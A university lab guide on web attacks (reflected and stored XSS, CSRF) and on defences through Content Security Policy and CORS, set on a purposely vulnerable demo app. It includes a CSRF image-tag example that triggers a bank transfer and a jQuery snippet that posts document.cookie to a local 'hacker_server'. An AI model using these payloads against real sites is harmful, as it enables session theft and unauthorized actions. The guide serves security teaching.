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Introduction
XSS attacks are a kind of attacks within Web interactions where an attacker
performs indirect attacks against Web clients through a vulnerable Web ap-
plication. The primary result is that some external code is injected into the
victim web browser is executed. All existing context, including valid cook-
ies, as well as computational resources of the victim become available to the
attacker.

The attack can be conducted based on data stored in the server, such as a
forum message or a blog post, and this is named a Stored XSS Attack.

The attack data can also be encoded in a Uniform Resource Locator (URL)
sent by the attacker directly to the victim. Taking in consideration where the
untrusted data is used, the attack can be considered a Server Side Attack,
or a Client Side Attack. And all four combinations are possible.

The problem itself is always due to improper, or insufficient validation of
data external to the system.

2.1 Environment setup
For this project you should use the virtual machine provided for these classes.
We will be using software that is purposely vulnerable. Do not use
your own laptop!.

Please obtain the compressed file present at https://joao.barraca.pt/
teaching/sio/2019/p/2/xss.tar.bz2 and uncompress it. You will find
further instructions in the README.MD file that is present in this file.

The application contains one user, identified by the username Administrator.
The password is top-secret.

An additional folder, named scripts contains two small HTTP servers used
for the last parts of the guide.

2.2 Cross-Site Scripting

2.2.1 Reflected XSS Attack

In a Reflected XSS it is assumed that the attack is non-persistent. With
this attack it becomes possible to manipulate the browser Domain Object
Model (DOM) for a single user, or for multiple users which access a page
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Figure 2.1: Reflected XSS Attack

through the same specially crafted URL. Figure 2.1 depicts a typical attack
scenario.

The application we are using is vulnerable to this attack. Can you find it?
Search for an action that changes the URL. That is, an action that will
redirect to the same page but with added variables and content in the URL.
If the page behaves differently based on the URL variables, it is possible that
a Reflected XSS Attack is present.

2.2.2 Stored XSS Attack

The Stored XSS Attack (or persistent) allows an attacker to place a malicious
script (usually Javascript) into a webpage (see Figure 2.2). Victims accessing
the webpage will render all scripts, including the one injected by the attacker.
This attack is very common in place where information is shared between
users through web technologies (e.g., forums and blogs). In this case, an
attacker composes an specially crafted message, hides some script in its source
code, and puts it in some place, which is accessed by a victim. All users
accessing that place would execute the exploit.

The application we are using is vulnerable to Stored XSS Attacks, and there
are vulnerabilities both in the server side and client side. Can you find the
vulnerabilities?
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Figure 2.2: Stored XSS Attack

For the Server Side Stored XSS Attack, look for an action that stores a
message into the server. For it to be a Server Side Attack, the payload must
be included in the web page when the page is built by the server.

For the Client Side Stored XSS Attack, look for code that loads dynamic
content into the webpage using Javascript. Use the Web Inspector built in
the browser and see if you can find it. Can you trigger a successful attack?
Take in consideration that sometimes, <script> tags are not evaluated di-
rectly, but Javascript can be included in objects event handlers (e.g., onload,
onclick. . . )

2.2.3 CSRF Attack

The Cross-Site Request Forgery (CSRF) attack consists in injecting code
that, using the credentials and capabilities of the browser viewing a given
object, may attack another system (see Figure 2.3). This attack can be used
for simple Denial-of-Service (DoS) or Distributed Denial-of-Service (DDoS),
tracking users, or invoke requests on systems with the identity of the victim.

This exploits the fact that, for usability, functionality, and performance pur-
poses, systems cache authentication credentials in small tokens named cook-
ies. When a user accesses a service, such as a social sharing application, or
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Figure 2.3: CSRF Attack

a Online Banking solution, a session is initialized, and will be kept valid for
a long period. Even if the user abandons the webpage. However, if the user
visits another page which has a CSRF exploit targeting the first page, it is
possible to invoke services using the user identity, without his knowledge.
This attack is frequently done using the <img> tag, however, other tags can
be used.

As an example, consider that a forum post contains the following content:

LOL. That was a good one Op. :)
<img src='http://vulnerable-bank.com/transfer.jsp?amount=1000
&to_nib=12345300033233'></img>

When the browser tries to load the image, it will invoke an action to an
external server. In this hypothetical case, it would transfer funds from the
victims bank account to the attacker’s bank account.

Sometimes a more complex interaction is required, and the attack will actu-
ally inject Javascript code. Can you build a working attack? The following
snippet may help:

$.ajax({
url: 'http://localhost:8000/cookie',
type: 'POST',
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data: "username=Administrator;cookie=x" + document.cookie,
});

In the scripts directory of the package you downloaded, there is script named
hacker_server.py, which will dump to stdout all data that is posted to it
(using HyperText Transfer Protocol (HTTP) POST). Run the script directly
and do a POST to http://localhost:8000.

Can you send the cookie to that server?

2.3 Content Security Policy

Content Policy rules is a way of protecting a website from the injection of
malicious code. This doesn’t stop all XSS types, but it is one of the most
important steps. For a more complete protection, this should be combined
with CORS, which is described in the next section.

The objective is to define what content can be present in the HTML, or how it
is handled by the browser. HTML Content Policy makes use of headers that
specify how the browser should load and execute resources. The most impor-
tant is Content-Security-Policy, which specifies a set of rules for content.
For a complete reference, please check https://content-security-policy.
com/.

To see how it works, lets consider an example where we define that all
Javascript should be loaded from the web page server, and no Javascript
objects are allowed from external sites, or only from a restricted set. For this
purpose, we can set the Content-Security-Policy header to:
default-script 'self' oss.maxcdn.com

With this value, scripts will only be loaded from the local server or oss.maxcdn.com
a known Content Delivery Network.

Enable Content Security Policy for the server by removing the comment in
line 63 of file xss_demo/views.py and restarting the server. This will just
call a function that is written a few lines before this line.

Now inject a simple malicious payload that loads a script from an external
site, and observe what is printed to the browser console.

If everything works as expected, the browser will not allow that content, and
it will not be loaded.

Further rules could be added so that no script is added inline, no images are
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loaded from external sites, all resources are loaded from secure locations, etc
. . . .

For the remaining of this guide, comment the line again.

2.4 Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) is a mechanism that uses additional
HTTP headers to tell a browser to let a web application running at one
origin (domain) have permission to access selected resources from a server at
a different origin. A web application executes a cross-origin HTTP request
when it requests a resource that has a different origin (domain, protocol, and
port) than its own origin.

In the previous exercises, several payload that load resources from external
locations could be injected. If CORS is properly setup, the browser will not
load resources from external sites, or only load resources from selected sites.
This effectively can be used to limit cross site request forgery and most cross
site scripting attacks.

The CORS specification states that many resources will be affected, and can
effectively be prevented from loading. This includes images, fonts, textures,
and any other resource, as well as scripts and even calls made inside Javacript
scripts.

Requests can be considered to be of two types: Simple and Preflight. The
type of request is defined by the method, headers, destination and several
other aspects. Figure 2.4 depicts the flow used by the browser to select how
to handle each request.

For this example, edit /etc/hosts and add two entries pointing external
and internal to 127.0.0.1. The purpose is to simulate a cross domain re-
quest. We will access the software previously used at http://internal:6543
and deploy a purpose built server at http://external:8000. The code for
the second server is available at scripts/cors_server.py. The additional
server will simulate a service being exploited by a XSS attack, such as a web-
site for a shop or a bank. The blog software we used previously will remain
our method of invoking remote resources.

Start the previous servers using pserve development.ini, and then start
the additional server by executing python3 cors_server.py.

Now inject payloads as messages in comments in order to test the different
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Figure 2.4: CORS request flow (credits: Wikimedia)

paths in the CORS flow. Observe what is loaded by looking at the browser
console, and the server console. Take in consideration that the browser may
issue background requests that are not displayed in the network view, but
logged by the server.

• GET in Image tag: Add a direct GET of an image by using the <img>
tag. The server has an image named smile.jpg.

• GET in JS: Obtain the same resource but use the previous Javascript
snippet. Observe that the browser will request the image, but will
refuse to use it.

• GET in JS with headers: Repeat the request but add:
,headers={"My-Header": "myvalue"} to the ajax request. The be-
haviour should be similar to the previous case.

The following snippet can be used to simulate different requests from within
Javascript.

$.ajax({
url: 'http://external:8000/smile.jpg',
type: 'GET',
success: function() { alert("smile.jpg loaded"); },

});

The first request should have been issued, while the next ones should have
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been denied. The reason is that the external server doesn’t allow the re-
sources be shared (loaded) from external sites. This will avoid indirect calls
from users that were tricked with some XSS payload.

Because we are dealing with images, they do not pose a threat, and we can
actually allow these resources to be obtained. In order to do this, we can
add a header Access-Control-Allow-Origin stating that every website can
include the images. Check the file cors_server.py and uncomment the code
around line 20. Then repeat the previous tests.

One of the tests still went wrong. This is because a GET with additional
headers can be used to trigger authenticated actions (user authentication
uses headers). Therefore, the browser will first check if the request can be
made by issuing a OPTIONS request. The result of this request should be
the access policy (Access-Control-Allow-Origin), and the list of methods
supported (Access-Control-Allow-Methods with each method separated
by a comma).

In the cors_server.py file, add a method named do_OPTIONS(self), which
returns the correct headers enabling users to GET images.

Repeat the previous tests and see the result. Then, add another payload
with a DELETE method and observe the result.

Note: We are not issuing POST or PUT requests for the sake of brevity as the
result would be similar.

Further Reading
1. https://developer.mozilla.org/pt-PT/docs/Web/HTTP/CORS

2. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_
(CSRF)_Prevention_Cheat_Sheet

3. http://html5sec.org

4. https://cwe.mitre.org/data/definitions/89.html
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